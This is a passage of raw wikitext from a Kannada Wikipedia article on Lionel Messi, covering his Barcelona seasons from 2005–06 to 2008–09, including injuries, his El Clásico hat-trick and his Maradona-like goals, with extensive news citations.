name="Williams"/> ಮೆಸ್ಸಿ ಸ್ಪಾನಿಶ್ [[ಪೌರತ್ವ]]ವನ್ನು ಸೆಪ್ಟೆಂಬರ್ 26ರಂದು<ref>{{cite news |url=http://thestar.com.my/sports/story.asp?file=/2005/9/28/sports/12165057&sec=sports |title=Good news for Barcelona as Messi gets his Spanish passport |publisher=''The Star Online''|date=2005-05-28 |accessdate=2009-05-29}}</ref> ಗಳಿಸಿದ ಜೊತೆಗೆ ಅಂತಿಮವಾಗಿ [[ಕ್ರೀಡಾಋತು]]ವಿನ [[ಸ್ಪಾನಿಶ್ ಪ್ರಥಮ ವಿಭಾಗ]]ದಲ್ಲಿ ತನ್ನ ಪ್ರಥಮ ಪಂದ್ಯ ಆಡಲು ಅರ್ಹನಾದ. ಮೆಸ್ಸಿಯು ಮೊದಲ ಬಾರಿಗೆ [[UEFA ಚಾಂಪಿಯನ್ಸ್ ಲೀಗ್]] ನಲ್ಲಿ ತಾಯ್ನಾಡಿನಿಂದ ಆಚೆ ಭಾಗವಹಿಸಿದ್ದ. ಇದು ಇಟಾಲಿಯನ್ ಕ್ಲಬ್ [[ಉಡಿನೀಸ್]] ವಿರುದ್ಧ ಸೆಪ್ಟೆಂಬರ್ 27ರಂದು ಆಡಿದ ಪಂದ್ಯವಾಗಿತ್ತು.<ref name="footballdb">{{cite news |url=http://www.footballdatabase.com/index.php?page=player&Id=222&b=true |title=Lionel Andres Messi - FCBarcelona and Argentina |publisher=Football Database |accessdate=2006-08-23}}</ref> ಬಾರ್ಸಿಲೋನಾ ಕ್ರೀಡಾಂಗಣದಲ್ಲಿ [[ಕ್ಯಾಂಪ್ ನೌ]] ಕ್ರೀಡಾಂಗಣದ ಅಭಿಮಾನಿಗಳು,[[ಬದಲಿ]] ಆಟಗಾರನಾಗಿ ಬಂದ ಮೆಸ್ಸಿಗೆ ಎದ್ದು ನಿಂತು ಗೌರವ ಸೂಚಿಸಿದರು. ಏಕೆಂದರೆ ಚೆಂಡಿನ ಮೇಲೆ ಅವನ ಹಿಡಿತ ಮತ್ತು [[ರೋನಾಲ್ಡಿನೊ]] ಗೆ ಚೆಂಡನ್ನು ಕಳಿಸುವ ನಡೆಗಳು ಎಲ್ಲವೂ ಬಾರ್ಸಿಲೋನಾ ತಂಡಕ್ಕೆ ಫಲಕಾರಿಯಾಯಿತು.<ref>{{cite news |author=Reuters |url=http://in.rediff.com/sports/2005/sep/28messi.htm |title=Ronaldinho scores the goals, Messi takes the plaudits |publisher=Rediff|date= 2005-09-28 |accessdate=2006-08-23}}</ref> ಮೆಸ್ಸಿ ಹದಿನೇಳು ಲೀಗ್ ಪಂದ್ಯಗಳಲ್ಲಿ ಆರು ಗೋಲುಗಳನ್ನು ಬಲೆಗೆ ಹಾಕಿಕೊಂಡ, ಜೊತೆಗೆ [[ಚಾಂಪಿಯನ್ಸ್ ಲೀಗ್]] ನ ಆರು ಗೋಲುಗಳಲ್ಲಿ ಒಂದನ್ನು ಗಳಿಸಿದ. ಅವನು [[ಎರಡನೇ ಸುತ್ತಿನ ಚಾಂಪಿಯನ್ಸ್ ಲೀಗ್ ಸಮ ಪಂದ್ಯ]]ದ ಎರಡನೇ ಲೆ‌ಗ್‌ನಲ್ಲಿ [[ಚೆಲ್ಸಿಯ]] ವಿರುದ್ಧದ ಪಂದ್ಯದಲ್ಲಿ ಬಲ ತೊಡೆಯ ಸ್ನಾಯು ಹರಿತಕ್ಕೆ ಒಳಗಾದಾಗ,ಅವನ ಕ್ರೀಡಾಋತುವು ಮಾರ್ಚ್ 7, 2006ರಂದು ಅಕಾಲಿಕವಾಗಿ ಕೊನೆಗೊಂಡಿತು.<ref>{{cite news |url=http://soccernet.espn.go.com/news/story?id=366008&cc=3436 |title=Frustrated Messi suffers another injury setback |publisher=ESPN Soccernet |date=2006-04-26 |accessdate=2006-07-22 }}</ref> [[ಫ್ರಾಂಕ್ ರಿಜ್ಕಾರ್ಡ್]] ರ ಬಾರ್ಸಿಲೋನಾ [[ಸ್ಪೇನ್]] ಮತ್ತು [[ಯುರೋಪ್]] ಚಾಂಪಿಯನ್ಸ್ ಪಟ್ಟ ಗಳಿಸುವುದರೊಂದಿಗೆ ಕ್ರೀಡಾಋತುವನ್ನು ಮುಕ್ತಾಯಗೊಳಿಸಿತು.<ref>{{cite news |url=http://www.independent.co.uk/sport/football/premier-league/arsenal-1-barcelona-2-barcelona-crush-heroic-arsenal-in-space-of-four-brutal-minutes-478659.html |title=Arsenal 1 Barcelona 2: Barcelona crush heroic Arsenal in space of four brutal minutes |last = Wallace | first = Sam | publisher=''The Independent'' |date= 2006-05-18 |accessdate=2009-06-03 }}</ref><ref>{{cite news |url=http://news.bbc.co.uk/sport1/hi/football/europe/4970966.stm |title=Barca retain Spanish league title | publisher=BBC Sport |date= 2006-05-03 |accessdate=2009-06-03 }}</ref> ==== 2006–07ರ ಕ್ರೀಡಾಋತು ==== [[ಚಿತ್ರ:Barcelona vs Rangers.jpg|thumb|220px|right|ಮೆಸ್ಸಿ 2007ರಲ್ಲಿ ರೇಂಜರ್ಸ್ ವಿರುದ್ಧದ ಪಂದ್ಯದಲ್ಲಿ]] 26 ಪಂದ್ಯಗಳಲ್ಲಿ 14 ಬಾರಿ ಗೋಲು ಗಳಿಸುವ ಮೂಲಕ ಮೆಸ್ಸಿ [[2006–07ರ ಕ್ರೀಡಾಋತು]]ವಿನಲ್ಲಿ ಒಂದು ಕಾಯಂ ಮೊದಲ ತಂಡದ ಆಟಗಾರನಾಗಿ ತನ್ನ ಸ್ಥಾನವನ್ನು ದೃಢಪಡಿಸಿದ.<ref>{{cite news | url=http://www.national-football-teams.com/v2/player.php?id=12563 |title=Lionel Messi at National Football Teams |publisher=National Football Teams |accessdate=2009-07-17 }}</ref> ನವೆಂಬರ್ 12ರಂದು [[ರಿಯಲ್ ಸರಗೋಸ]]ವಿರುದ್ಧದ ಪಂದ್ಯದಲ್ಲಿ, ಮೆಸ್ಸಿ [[ಕಾಲಿನ ಐದು ಎಲುಬುಗಳ]] ಮುರಿತಕ್ಕೆ ಒಳಗಾದ, ಇದು ಅವನನ್ನು ಮೂರು ತಿಂಗಳ ಕಾಲ ಮೈದಾನದಿಂದ ಹೊರಗುಳಿಯುವಂತೆ ಮಾಡಿತು.<ref>{{cite press release |url=http://www.fcbarcelona.com/eng/noticias/noticias/n06111404.shtml |title=Doctors happy with Messi op |publisher=FCBarcelona.com |date=2006-11-14 |accessdate=2006-11-16 |archive-date=2006-11-26 |archive-url=https://web.archive.org/web/20061126040828/http://www.fcbarcelona.com/eng/noticias/noticias/n06111404.shtml |url-status=dead }}</ref><ref>{{cite news |url=http://www.fifa.com/en/comp/index/0,2442,125576,00.html?articleid=125576 |title=Messi to miss FIFA Club World Cup |date=2006-11-13 |publisher=FIFA.com/Reuters |accessdate=2006-01-18 |archive-date=2007-12-11 |archive-url=https://web.archive.org/web/20071211061548/http://fifa.com/en/comp/index/0,2442,125576,00.html?articleid=125576 |url-status=dead }}</ref> ಮೆಸ್ಸಿ ಅರ್ಜಂಟೀನಾದಲ್ಲಿ ತನಗಾದ ಪೆಟ್ಟಿನಿಂದ ಚೇತರಿಸಿಕೊಂಡ. ಜೊತೆಗೆ ಫೆಬ್ರವರಿ 11ರಂದು ನಡೆದ [[ರೇಸಿಂಗ್ ಸಾನ್ಟನ್ಡರ್]] ವಿರುದ್ಧದ ಪಂದ್ಯದಲ್ಲಿ,<ref>{{cite news | url=http://barcelona.theoffside.com/la-liga/barcelona-racing-santander-sunday-3pm-est.html |title=Barcelona - Racing Santander |publisher=The Offside |date=2008-01-19 |accessdate=2009-05-30 }}</ref> ಅವನ ಮರು ಪ್ರವೇಶವಾಯಿತು. ಇದರಲ್ಲಿ ಅವನು ಉತ್ತರಾರ್ಧದಲ್ಲಿ ಬದಲಿ ಆಟಗಾರನಾಗಿ ಬಂದ. ಮಾರ್ಚ್ 11ರಂದು, ''[[ಎಲ್ ಕ್ಲಾಸಿಕೋ]]'' ಮೆಸ್ಸಿಯನ್ನು ಅಗ್ರ ಸ್ಥಾನಕ್ಕೇರಿಸಿತು. 10-ಜನರ ಬಾರ್ಸಿಲೋನಾ ತಂಡದ 3-3 ಸಮಾಂಕ ಪಂದ್ಯದಲ್ಲಿ [[ಹ್ಯಾಟ್ರಿಕ್]] ಗಳಿಸಿದ. ಮೂರು ಬಾರಿ [[ಸಮ]]ಗೋಲು ಗಳಿಸಿದ ಪಂದ್ಯದಲ್ಲಿ, ಅಂತಿಮ ಸರಿಸಮ ಗೋಲು [[ಗಾಯಗೊಂಡ ಸಮಯ]]ದಲ್ಲಿ ಬಂದಿತು.<ref>{{cite news|url=http://www.independent.co.uk/sport/football/european/barcelona-3-real-madrid-3-magical-messi-is-barcelonas-hero-439788.html|title=Magical Messi is Barcelona's hero|last=Hayward|first=Ben|publisher=''The Independent''|date=2007-03-11|accessdate=2009-05-30|archive-date=2011-09-06|archive-url=https://web.archive.org/web/20110906081352/http://www.independent.co.uk/sport/football/european/barcelona-3-real-madrid-3-magical-messi-is-barcelonas-hero-439788.html|url-status=dead}}</ref> ಹೀಗೆ ಮಾಡುವುದರೊಂದಿಗೆ [[ಇವಾನ್ ಜಮೊರನೋ(ಇವಾನ್ 1994-95ರ ಕ್ರೀಡಾಋತುವಿನಲ್ಲಿ ರಿಯಲ್ ಮಾಡ್ರಿಡ್ ಪರವಾಗಿ)]] ನಂತರ ''ಎಲ್ ಕ್ಲಾಸಿಕೋ'' ನಲ್ಲಿ ಹ್ಯಾಟ್‌-ಟ್ರಿಕ್ ಪಡೆದ ಮೊದಲ ಆಟಗಾರನಾದ .<ref>{{cite news |url=http://www.fifa.com/worldfootball/clubfootball/news/newsid=113101.html |title=Inter beat AC, Messi headlines derby |date=2007-03-11 |publisher=FIFA |accessdate=2009-05-30 |archive-date=2014-08-03 |archive-url=https://web.archive.org/web/20140803140827/http://www.fifa.com/worldfootball/clubfootball/news/newsid=113101.html |url-status=dead }}</ref> ಮೆಸ್ಸಿ ಈ ಪಂದ್ಯದಲ್ಲಿ(ನಿಗದಿತ ಪಂದ್ಯ) ಗೋಲು ಗಳಿಸಿದ ಅತ್ಯಂತ ಕಿರಿಯ ಆಟಗಾರನೂ ಹೌದು. ಕ್ರೀಡಾಋತು ಮುಗಿಯುವ ಹೊತ್ತಿಗೆ ಅವನು ಹೆಚ್ಚೆಚ್ಚು ಗೋಲುಗಳನ್ನು ಗಳಿಸಿದ; ಕ್ರೀಡಾಋತುವಿನ 14 ಲೀಗ್ ಗೋಲುಗಳಲ್ಲಿ 11 ಗೋಲುಗಳು ಕಳೆದ 13 ಪಂದ್ಯಗಳಿಂದ ಬಂದಿದ್ದವು.<ref>{{cite news |url=http://soccernet.espn.go.com/players/gamelog?id=45843&season=2006&cc=5739 |title= Lionel Messi 2006/07 season statistics |publisher=ESPN Soccernet |accessdate=2009-06-03 }}</ref> [[ಚಿತ್ರ:Lionel Messi goal 19abr2007.jpg|thumb|left|220px|ಮೆಸ್ಸಿ ಗೆಟಾಫೇ ವಿರುದ್ಧ ಗೋಲನ್ನು ಪಡೆಯುವ ಸ್ವಲ್ಪ ಮುಂಚೆ]] ಮೆಸ್ಸಿಗೆ ನೀಡಿದ "ನ್ಯೂ ಮರಡೋನ" ಎಂಬ ಬಿರುದು ಮೋಸದ ಪ್ರಚಾರವಲ್ಲವೆಂದು ಸಾಬೀತುಪಡಿಸಿದ. ಮರಡೋನರ ಅತ್ಯಂತ ಪ್ರಖ್ಯಾತ ಗೋಲುಗಳನ್ನು ಏಕೈಕ ಕ್ರೀಡಾಋತುವಿನಲ್ಲಿ ದೊರೆತ ಅವಕಾಶದಲ್ಲಿ ಬಹುಮಟ್ಟಿಗೆ ಪುನರಾವರ್ತನೆ ಮಾಡಿದ.<ref name="maradonalike">{{cite news |url=http://www.telegraph.co.uk/sport/football/european/2311407/The-greatest-goal-ever.html |title=The greatest goal ever? |date=2007-04-20 |publisher=''Daily Telegraph'' | last = Lowe| first = Sid | accessdate=2009-07-07 }}</ref> ಏಪ್ರಿಲ್ 18, 2007ರಲ್ಲಿ, ಅವನು [[ಕೊಪಾ ಡೆಲ್ ರೆಯ್]] ಸೆಮಿ-ಫೈನಲ್ ಪಂದ್ಯದಲ್ಲಿ [[ಗೆಟಾಫೇ]] ವಿರುದ್ಧ ಎರಡು ಗೋಲು ಗಳಿಸಿದ. ಇದರಲ್ಲಿ ಒಂದು ಮೆಕ್ಸಿಕೋ ನಲ್ಲಿ ನಡೆದ [[1986ರ FIFA ವಿಶ್ವ ಕಪ್]]ನಲ್ಲಿ [[ಇಂಗ್ಲೆಂಡ್]] ವಿರುದ್ಧ ಮೆರಡೋನಾ ಹೊಡೆದ [[ಪ್ರಖ್ಯಾತ ಗೋಲ]]ನ್ನು ಹೋಲುತ್ತದೆ. ಇದನ್ನು [[ಶತಮಾನದ ಗೋಲು]] ಎಂದು ಕರೆಯಲಾಗುತ್ತದೆ.<ref>{{cite web| url=http://soccernet.espn.go.com/news/story?id=423002&cc=3888 | title= Messi dazzles as Barça reach Copa Final | publisher=ESPN Soccernet| date=2007-04-18}}</ref> ವರ್ಲ್ಡ್'ಸ್ ಸ್ಪೋರ್ಟ್ಸ್ ಪ್ರೆಸ್ ಮರಡೋನ ಜೊತೆ ಇವನನ್ನು ಹೋಲಿಕೆಗಳನ್ನು ಮಾಡುತ್ತದೆ, ಮತ್ತು ಸ್ಪಾನಿಶ್ ಮಾಧ್ಯಮ ಮೆಸ್ಸಿಗೆ "ಮೆಸ್ಸಿಡೋನ" ಎಂಬ ಹಣೆಪಟ್ಟಿ ಹಚ್ಚಿದೆ.<ref>{{cite web| url=http://www.hindu.com/2007/07/14/stories/2007071455691800.htm | title= Can ‘Messidona’ beat Maradona? | publisher=''The Hindu''| date=2007-07-14}}</ref> ಅವನು ಹೆಚ್ಚು ಕಡಿಮೆ ಅದೇ ಅಂತರದಲ್ಲಿ ಓಡಿದ,{{convert|62|m|ft}}, ಅದೇ ಸಂಖ್ಯೆಯ ಆಟಗಾರರನ್ನು ಸೋಲಿಸಿದ (ಗೋಲು ಕೀಪರ್ ನನ್ನು ಸೇರಿ ಆರು), ಅದೇ ರೀತಿಯ ಸ್ಥಾನದಿಂದ ಗೋಲು ಗಳಿಸಿದ, ಮತ್ತು ಮೂಲೆಯ ಧ್ವಜದ ಹತ್ತಿರಕ್ಕೆ 21 ವರ್ಷದ ಕೆಳಗೆ ಮೆಕ್ಸಿಕೋದಲ್ಲಿ ಮರಡೋನ ಓಡಿದ ರೀತಿಯೇ ಓಡಿದ.<ref name="maradonalike"/> ಪಂದ್ಯದ ನಂತರ ಒಂದು ಪತ್ರಿಕಾಗೋಷ್ಠಿಯಲ್ಲಿ ಮೆಸ್ಸಿಯ ಸಹ ಆಟಗಾರ [[ಡೆಕೋ]] ಹೇಳುತ್ತಾನೆ: "ನಾನು ನನ್ನ ಜೀವನದಲ್ಲಿ ಕಂಡ ಅತ್ಯುತ್ತಮ ಗೋಲು ಇದಾಗಿದೆ."<ref>{{cite news |url=http://www.telegraph.co.uk/sport/main.jhtml?xml=/sport/2007/04/20/sfnmes20.xml |title=The greatest goal ever? |last=Lowe |first=Sid |publisher=''Daily Telegraph'' |date=2007-04-20 |accessdate=2007-05-07 |archive-date=2008-05-13 |archive-url=https://web.archive.org/web/20080513171834/http://www.telegraph.co.uk/sport/main.jhtml?xml=%2Fsport%2F2007%2F04%2F20%2Fsfnmes20.xml |url-status=dead }}</ref> [[ಎಸ್ಪಾನ್ಯೋಲ್]]ವಿರುದ್ಧದ ಪಂದ್ಯದಲ್ಲಿ ಮೆಸ್ಸಿ, ಮರಡೋನ ವರ್ಲ್ಡ್ ಕಪ್ ಕ್ವಾರ್ಟರ್ ಫೈನಲ್ಸ್‌ನಲ್ಲಿ [[ಇಂಗ್ಲೆಂಡ್ ವಿರುದ್ಧ ಗಳಿಸಿದ ಗೋಲು]] ಮಾದರಿಯಲ್ಲೇ ಇವನು ಕೂಡ ಗೋಲು ಗಳಿಸಿದ. ಮೆಸ್ಸಿ ಚೆಂಡಿನೆಡೆಗೆ ಉಪಕ್ರಮಿಸುವುದರ ಜೊತೆಗೆ ತನ್ನ ಕೈಯಿಂದ ಚೆಂಡನ್ನು ಸಂಪರ್ಕಿಸಿ ಚೆಂಡು ಗೋಲು ಕೀಪರ್ [[ಕಾರ್ಲೋಸ್ ಕಮೆನಿ]]ಯನ್ನು ಹಾದು ಹೋಗುವಂತೆ ಮಾಡಿದ.<ref name="Hand of Messi">{{cite news | url=http://www.timesonline.co.uk/tol/sport/football/european_football/article1910271.ece |title=Hand of Messi saves Barcelona |last=Mitten |first=Andy |publisher=''Times Online'' |date=2007-06-10 |accessdate=2008-01-12 }}</ref> ಎಸ್ಪಾನ್ಯೋಲ್ ಆಟಗಾರರ ವಿರೋಧದ ನಡುವೆ ಜೊತೆಗೆ ಮರು ಪ್ರಸಾರದ ದೃಶ್ಯಗಳಲ್ಲಿ ಅದು ಸ್ಪಷ್ಟವಾಗಿ [[ಹ್ಯಾಂಡ್ ಬಾಲ್]]ಎಂದು ಕಂಡುಬರುತ್ತಿದ್ದರೂ, ಅದನ್ನು ಗೋಲು ಎಂದೇ ಪರಿಗಣಿಸಲಾಯಿತು.<ref name="Hand of Messi"/> ==== 2007–08ರ ಕ್ರೀಡಾಋತು ==== thumb|180px|ಸೆಪ್ಟೆಂಬರ್ 22, 2007ರಂದು ಕ್ಯಾಂಪ್ ನೌ ನಲ್ಲಿ ಸೇವಿಲ್ಲಾ ವಿರುದ್ಧದ ಪಂದ್ಯದಲ್ಲಿ ಬಾರ್ಸಿಲೋನಾ ತಂಡದ 2-0 ಗೋಲುಗಳ ವಿಜಯದಲ್ಲಿ ಮೆಸ್ಸಿ ಬಾರ್ಸಿಲೋನಾ ತಂಡದ ಪರ ಆಡುತ್ತಾನೆ. ಈ ಮಧ್ಯದಲ್ಲಿ [[2007-08ರ ಕ್ರೀಡಾಋತು]]ನಲ್ಲಿ, ಮೆಸ್ಸಿ ಒಂದು ವಾರದಲ್ಲಿ ಐದು ಗೋಲು ಗಳಿಸಿದ. ಇದರಿಂದ ಲಾ ಲಿಗಾದಲ್ಲಿ ಬಾರ್ಸಿಲೋನಾ ತಂಡವು ಅಗ್ರ ನಾಲ್ಕನೇ ಸ್ಥಾನ ಪಡೆಯಿತು. ಸೆಪ್ಟೆಂಬರ್ 19ರಂದು ಬಾರ್ಸಿಲೋನಾ [[ಒಲಂಪಿಕ್ ಲಿಯೋನ್ನಾಯಿಸ್]] ತಂಡವನ್ನು ಸ್ವದೇಶದಲ್ಲಿ 3-0 ಗೋಲುಗಳಿಂದ ಚಾಂಪಿಯನ್ಸ್ ಲೀಗ್ ಪಂದ್ಯದಲ್ಲಿ ಸೋಲಿಸಿದಾಗ ಮೆಸ್ಸಿ ಒಂದು ಗೋಲು ಗಳಿಸಿದ.<ref>{{cite news|url=http://soccernet.espn.go.com/report?id=228758&&cc=5739|title=Barcelona 3-0 Lyon: Messi orchestrates win|publisher=ESPN Soccernet|date=2007-09-19|accessdate=2009-05-27}}</ref> ಅವನು ಸೆಪ್ಟೆಂಬರ್ 22ರಂದು [[ಸೆವಿಲ್ಲಾ]] ವಿರುದ್ಧದ ಪಂದ್ಯದಲ್ಲಿ ಎರಡು ಗೋಲು ಗಳಿಸಿದ<ref>{{cite news|url=http://www.soccerway.com/matches/2007/09/22/spain/primera-division/futbol-club-barcelona/sevilla-futbol-club/480859/|title=Barcelona vs. Sevilla|publisher=Soccerway|date=2007-09-22|accessdate=2009-05-29}}</ref> ಜೊತೆಗೆ ಸೆಪ್ಟೆಂಬರ್ 26ರಂದು ಮೆಸ್ಸಿ [[ರಿಯಲ್ ಜರಗೋಜ]] ವಿರುದ್ಧ 4-1 ಜಯದ ಪಂದ್ಯದಲ್ಲೂ ಕೂಡ ಮತ್ತೆರೆಡು ಗೋಲು ಗಳಿಸಿದ.<ref>{{cite news|url=http://barcelona.theoffside.com/injuries/barcelona-4-1-zaragoza-review.html|title=Barcelona 4-1 Zaragoza|author=Isaiah|publisher=The Offside|date=2007-09-26|accessdate=2009-05-27|archive-date=2012-03-11|archive-url=https://web.archive.org/web/20120311091432/http://barcelona.theoffside.com/injuries/barcelona-4-1-zaragoza-review.html|url-status=dead}}</ref> ಫೆಬ್ರವರಿ 27ರಂದು, ಮೆಸ್ಸಿ ತನ್ನ 100ನೇ ಅಧಿಕೃತ ಪಂದ್ಯವನ್ನು [[ಬಾರ್ಸಿಲೋನಾ]] ಪರವಾಗಿ [[ವಲೆನ್ಸಿಯ]] ವಿರುದ್ಧ ಆಡಿದ.<ref>{{cite news|url=http://www.fifa.com/worldfootball/clubfootball/news/newsid=700689.html|title=Xavi late show saves Barca|author=FIFA|publisher=FIFA|date=2008-02-27|accessdate=2009-05-27|archive-date=2014-08-03|archive-url=https://web.archive.org/web/20140803053023/http://www.fifa.com/worldfootball/clubfootball/news/newsid=700689.html|url-status=dead}}</ref> ಅವನನ್ನು [[FIFPro ವಿಶ್ವ XI ಆಟಗಾರ ಪ್ರಶಸ್ತಿ]]ಗೆ ಮುಂಚೂಣಿಯ ಆಟಗಾರರ ವಿಭಾಗದಲ್ಲಿ ನಾಮಕರಣ ಮಾಡಲಾಯಿತು.<ref>{{cite news|url=http://worldx1.fifpro.org/index.php?mod=plink&id=14697|title=FIFPro World XI|publisher=FIFPro|accessdate=2009-05-30}}</ref> ಸ್ಪಾನಿಶ್ ದಿನಪತ್ರಿಕೆ ''[[ಮಾರ್ಕಾ]]'' ತನ್ನ ಆನ್ಲೈನ್ ಆವೃತ್ತಿಯಲ್ಲಿ ನಡೆಸಿದ ಜನಾಭಿಪ್ರಾಯ ಸಂಗ್ರಹಣೆಯಲ್ಲಿ ಮೆಸ್ಸಿಗೆ ಶೇಕಡಾ 77ರಷ್ಟು ಮತಗಳು ಬಂದು,ಒಬ್ಬ ಅತ್ಯುತ್ತಮ ಆಟಗಾರ ಎಂದು ಹೆಸರಿಸಿತು.<ref>{{cite news|url=http://archivo.marca.com/futbol/2007/messi_kun/handicho.html|title=El fútbol a sus pies|last=Villalobos|first=Fran|publisher=''MARCA''|language=Spanish|date=2007-04-10|accessdate=2009-07-07}}</ref> ಬಾರ್ಸಿಲೋನಾ-ಮೂಲದ ದಿನಪತ್ರಿಕೆಗಳು ''[[ಎಲ್ ಮುಂಡೋ ಡಿಪೋರ್ಟಿವ್]]'' ಮತ್ತು ''[[ಸ್ಪೋರ್ಟ್]]'' ನ ಅಂಕಣಕಾರರು ಮೆಸ್ಸಿಗೆ [[Ballon d'Or]] ಗೌರವವನ್ನು ನೀಡಬೇಕೆಂಬ ಅಭಿಪ್ರಾಯವನ್ನು ವ್ಯಕ್ತಪಡಿಸಿದವು. ಈ ಅಭಿಪ್ರಾಯಕ್ಕೆ [[ಫ್ರಾನ್ಸ್ ಬೇಕೆನ್ಬುಏರ್]] ಕೂಡ ಬೆಂಬಲಿಸಿದರು.<ref>{{cite news|url=http://www.sport.es/default.asp?idpublicacio_PK=44&idioma=CAS&idtipusrecurs_PK=7&idnoticia_PK=447107|title=Si Messi sigue trabajando así, será como Maradona y Pelé|last=Fest|first=Leandro|publisher=Sport.es|language=Spanish|accessdate=2009-07-07}}</ref> [[ಫ್ರಂಸೆಸ್ಕೋ ಟೊಟ್ಟಿ]] ಮುಂತಾದ ಹೆಸರಾಂತ ಫುಟ್ಬಾಲ್ ಆಟಗಾರರು ಮೆಸ್ಸಿ ಪ್ರಸ್ತುತ ವಿಶ್ವದಲ್ಲಿರುವ ಅತ್ಯುತ್ತಮ ಫುಟ್ಬಾಲ್ ಆಟಗಾರರಲ್ಲಿ ಒಬ್ಬನೆಂದು ಪರಿಗಣಿಸುವುದಾಗಿ ಘೋಷಿಸಿದರು.<ref>{{cite news| url=http://archivo.marca.com/edicion/marca/futbol/internacional/es/desarrollo/1063306.html|title=Totti le daría el Balón de Oro a Messi antes que a Kaká|publisher=''MARCA''|language=Spanish|date=2007-11-29|accessdate=2009-07-07}}</ref> ಮೆಸ್ಸಿಯನ್ನು ಗಾಯಗೊಂಡ ಹಿನ್ನೆಲೆಯಲ್ಲಿ ಆರು ವಾರಗಳ ಕಾಲ ತಂಡದಿಂದ ಹೊರಗಿಡಲಾಗಿತ್ತು. ಇದು ಮಾರ್ಚ್ 4ರಂದು ಚಾಂಪಿಯನ್ಸ್ ಲೀಗ್ ಪಂದ್ಯದಲ್ಲಿ [[ಸೆಲ್ಟಿಕ್]] ವಿರುದ್ಧದ ಪಂದ್ಯದಲ್ಲಿ ಅವನು ಎಡ ತೊಡೆಯ ಸ್ನಾಯು ಹರಿತಕ್ಕೆ ಒಳಗಾಗಿದ್ದರ ಪರಿಣಾಮವಾಗಿತ್ತು. ಮೆಸ್ಸಿ ಇದೇ ರೀತಿಯ ಗಾಯವನ್ನು ಮೂರು ಕ್ರೀಡಾಋತುಗಳಲ್ಲಿ ನಾಲ್ಕು ಬಾರಿ ಅನುಭವಿಸಿದ.<ref>{{cite news|url=http://www.cbc.ca/sports/soccer/story/2008/03/05/lionel-messi.html?ref=rss|title=Barcelona's Lionel Messi sidelined with thigh injury|publisher=CBC.ca|date=2008-03-05|accessdate=2009-06-14}}</ref> ==== 2008–09ರ ಕ್ರೀಡಾಋತು ==== [[ಚಿತ್ರ:Lionel Messi 31mar2007.jpg|150px|thumb|left|ಮೆಸ್ಸಿ ಡಿಪೋರ್ಟಿವೋ ವಿರುದ್ಧದ ಪಂದ್ಯದಲ್ಲಿ]] ಕ್ಲಬ್‌ನಿಂದ ರೋನಾಲ್ಡಿನೊ ನಿರ್ಗಮಿಸಿದ ಮೇಲೆ, ಮೆಸ್ಸಿ ಅವನ 10ನೇ ಸಂಖ್ಯೆಯ ಜರ್ಸಿಯನ್ನು ಪಡೆದ.<ref>{{cite news|url=http://www.goal.com/en/news/8/main/2008/08/04/803776/messi-inherits-ronaldinhos-no-10-shirt|title=Messi Inherits Ronaldinho's No. 10 Shirt|last=Sica|first=Gregory|publisher=Goal.com|date=2008-08-04|accessdate=2009-06-02}}</ref> ಅಕ್ಟೋಬರ್ 1, 2008ರ, ಚಾಂಪಿಯನ್ಸ್ ಲೀಗ್ [[ಶಕ್ತರ್ ಡೊನೆಟ್ಸ್ಕ್]] ವಿರುದ್ಧದ ಪಂದ್ಯದಲ್ಲಿ, ಮೆಸ್ಸಿ, [[ಥಿಯೆರಿ ಹೆನ್ರಿ]] ಗೆ ಬದಲಿ ಆಟಗಾರನಾಗಿ ಬಂದಾಗ ಕಡೆಯ ಏಳು ನಿಮಿಷಗಳ ಅವಧಿಯಲ್ಲಿ ಎರಡು ಗೋಲು ಗಳಿಸಿದ. ಇದು 1-0 ಗೋಲುಗಳನ್ನು ಹೊಂದಿದ್ದ [[ಬಾರ್ಸಿಲೋನಾ]]ತಂಡವನ್ನು 1-2 ಗೋಲುಗಳಿಂದ ತಿರುವು ನೀಡಿ ಜಯಶಾಲಿಯಾಗುವಂತೆ ಮಾಡಿತು.<ref>{{cite news|url=http://soccernet.espn.go.com/report?id=254681&cc=5739|title=Late Messi brace nicks it|publisher=ESPN Soccernet|date=2008-10-01|accessdate=2009-05-29}}</ref> ಮುಂದಿನ ಲೀಗ್ ಪಂದ್ಯ [[ಅಟ್ಲೆಟಿಕೋ ಮಾಡ್ರಿಡ್]] ವಿರುದ್ಧವಾಗಿತ್ತು. ಈ ಪಂದ್ಯವನ್ನು ಮೆಸ್ಸಿ ಮತ್ತು ಅವನ ಸ್ನೇಹಿತ [[ಸೇರ್ಗಿಯೋ ಅಗುಎರೋ]] ನಡುವಿನ ಸೌಹಾರ್ದ ಕದನವೆಂದು ವಿವರಿಸಲಾಗಿತ್ತು.<ref>{{cite news|url=http://bleacherreport.com/articles/65327-barcelona-6-1-atletico-madrid-match-report-and-player-ratings|title=Barcelona 6-1 Atletico Madrid| last = Osaghae | first = Efosa |publisher=Bleacher Report|date=2008-10-04|accessdate=2009-05-31}}</ref> ಮೆಸ್ಸಿ ಒಂದು ಫ್ರೀ ಕಿಕ್‌ನಿಂದ ಗೋಲು ಗಳಿಸಿ ಇನ್ನೊಂದು ಗೋಲಿಗೆ ನೆರವಾಗುವುದರೊಂದಿಗೆ ಬಾರ್ಸಿಲೋನಾ ಪಂದ್ಯವನ್ನು 6-1 ಗೋಲುಗಳ ಅಂತರದಿಂದ ಜಯಗಳಿಸಿತು.<ref>{{cite news|url=http://soccernet-assets.espn.go.com/report?id=252817&league=ESP.1&cc=5739|title=Goal rush for Barcelona|publisher=ESPN Soccernet|date=2008-10-04|accessdate=2009-05-31}}</ref> ಮೆಸ್ಸಿ ಸೇವಿಲ್ಲಾ ವಿರುದ್ಧದ ಪಂದ್ಯದಲ್ಲಿ ಪರಿಣಾಮಕಾರಿ ಅವಳಿ ಗೋಲುಗಳನ್ನು ಗಳಿಸಿದ. ಚೆಂಡು ನೆಲಕ್ಕೆ ತಾಗುವ ಮುಂಚೆ ಅದನ್ನು ಗೋಲಾಗಿಸಿದ{{convert|23|m|yd|}} ಮತ್ತು ಗೋಲು‌ಕೀಪರ್ ಹತ್ತಿರ ಚೆಂಡನ್ನು ಸ್ವಲ್ಪ ಸ್ವಲ್ಪವೇ ಉರುಳಿಸುತ್ತಾ ಇನ್ನೊಂದು ಗೋಲನ್ನು ಬಿಗಿಯಾದ ಕೋನದಿಂದ ಬಾರಿಸಿದ.<ref>{{cite news|url=http://www.fifa.com/worldfootball/clubfootball/news/newsid=964294.html|title=Messi magical, Real 